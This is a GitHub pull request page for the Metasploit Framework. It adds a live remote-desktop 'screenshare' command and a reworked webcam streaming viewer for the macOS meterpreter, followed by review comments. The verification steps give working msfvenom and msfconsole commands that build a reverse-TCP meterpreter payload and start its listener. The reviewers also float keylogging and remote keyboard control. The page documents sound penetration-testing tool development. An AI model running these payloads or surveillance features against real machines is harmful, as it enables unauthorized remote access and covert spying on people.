Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refactored webcam_stream and added live desktop screensharing/remote monitoring (OSX meterpreter) #9196

Closed
wants to merge 2 commits into from

Conversation

jaketblank
Copy link
Contributor

Seeing as there hasn't been much work done on the OSX meterpreter front since this thread died (#8439) I figured I'd take a stab at it.

Started by refactoring the webcam_stream player to utilize JS promises, implement proper caching headers for Chrome, and added a cleaner animation technique for frame-to-frame transitioning.

Eventually this should be completely re-worked to integrate with ffmpeg/image2pipe and stream a video to an HTML5 player (while optionally persisting to disk), but I wasn't in the mood to tackle that one today 😄

Later, while testing the screenshot functionality included in the master branch, I started wishing I could just see a live view of the remote desktop instead of having to constantly take snapshots, look at them, take some more, look those ones, etc. etc. After digging into the code for the screenshot and webcam_snap commands, I figured it'd be relatively simple to massage the code I had refactored for the webcam_stream player and put together a new command/method for live desktop sharing (screenshare is the command).

Verification

List the steps needed to make sure this thing works

  • Start a handler: msfconsole -qx "use exploit/multi/handler; set payload osx/x64/meterpreter_reverse_tcp; set lhost $LHOST; set lport 4444; set ExitOnSession false; run -j"
  • Generate a macho: msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=$LHOST LPORT=4444 -f macho -o out
  • Select the proper session
  • Test the new command "screenshare"
  • Test the refactored "webcam_stream"
  • Have fun!

The code is all self explanatory for the most part. All screenshare additions are here: lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb
And the webcam_stream mods can be found here: lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb

With regards to the refactored "player" code, we moved from a simple setTimeout() function changing the image URL and appending a query string (making the client reload the img from server) to a promise-based system with a lock-out mechanism to prevent overloading the network.

The old display method was stuttery, had low framerates when it was functioning, suffered wayyy too many frame drops and didn't function on slower networks. This seems like a good temporary fix for those problems (and actually performs a hell of a lot better than I expected for a glorified flipbook) until someone feels like integrating a true video solution.

Once that person does, however, it will be very easy to apply it to both the webcam_stream and screenshare methods.

@jaketblank jaketblank changed the title Refactored webcam_stream and added live desktop screensharing/remote monitoring Refactored webcam_stream and added live desktop screensharing/remote monitoring (OSX meterpreter) Nov 10, 2017
@jaketblank
Copy link
Contributor Author

jaketblank commented Nov 10, 2017

Oh yeah, I stuck with the original style of JS only (no jQuery or other new external libraries) - it would have been much cleaner with some $ but I enjoyed the JS only challenge.

@jaketblank
Copy link
Contributor Author

Ok, so some more testing. It seems like screenshare eats up 400-700kb/s, and introduces a timeout error if the network lags behind too far. The same thing happens with the webcam_stream (not surprising, as screenshare recycles a lot of the same code).

Rex::TimeoutError Operation timed out.

Note: this isn't a problem with this fork/the additions made - rather, these are simply existing issues that need to be resolved.

Perhaps we should be monitoring for dropped frames from the client and adjusting the sampling rate/quality programmatically?

@timwr
Copy link
Contributor

timwr commented Nov 13, 2017

I gave this a quick test locally. screenshare works great :)

@@ -161,7 +161,7 @@ def cmd_webcam_stream(*args)
player_path = Rex::Text.rand_text_alpha(8) + ".html"
duration = 1800
quality = 50
view = true
view = false
Copy link
Contributor

@timwr timwr Nov 13, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this breaks webcam_stream -v true

f.write(html)
end

print_status("Please open the player manually with a browser: #{player_path}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

what about if view?

Copy link
Contributor Author

@jaketblank jaketblank Nov 13, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The method should create the HTML player regardless of whether view is true or not. My understanding of the -v flag was that it was a conditional to auto-launch the viewer or not. Without the HTML file generates, there really is no way to view the stream (webcam or desktop) and the method becomes useless in it's current configuration.

Regardless, you are correct - there should be a conditional for that print_status line, it should work the same way as in the webcam_stream method


html = %|<html>
<head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE, NO-STORE">
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There seems to be some code duplication between this and webcam_stream, would it make sense to share the code between them?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It probably would, DRY :)

@timwr
Copy link
Contributor

timwr commented Nov 13, 2017

Excellent work @jaketblank !

when "-p"
path = val
when "-v"
view = true if ( val =~ /^(t|y|1)/i )
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@timwr - line 202 here should changed to "view = false if ( val =~ /^(f|n|0|no|false)/i )".

@timwr
Copy link
Contributor

timwr commented Nov 22, 2017

I wonder how hard it would be to turn this into a basic VNC style session. e.g take keyboard/mouse input from HTML and relay it to the meterpreter session 👊

@jaketblank
Copy link
Contributor Author

https://developer.apple.com/documentation/coregraphics/quartz_event_services

Looks like we also found our keylogger

@timwr
Copy link
Contributor

timwr commented Nov 23, 2017

For keylogging that should work (as root).
For sending keys: CGEventCreateKeyboardEvent I think

Copy link
Contributor

@timwr timwr left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@jaketblank are you able to fix webcam_stream -v true and screenshare -v true (also screenshare -p ..)?
I think refactoring is arguably not necessary to land this (who knows if in the future people will want to tweak the files separately), but it might still be useful if you have time (just create a new function in lib/rex/post/meterpreter/ui/console/command_dispatcher.rb or create a new file. If not I can make the changes for you at some point (but not this week).

@jrobles-r7
Copy link
Contributor

It is required that code in your fork be merged from a unique branch in your repository to master in Rapid7's. Please create a new branch in your fork of framework and resubmit this from that branch.

git checkout -b <BRANCH_NAME>
git push <your_fork_remote> <BRANCH_NAME>

This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.

Closing based on the this requirement, please do resubmit from a unique branch.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants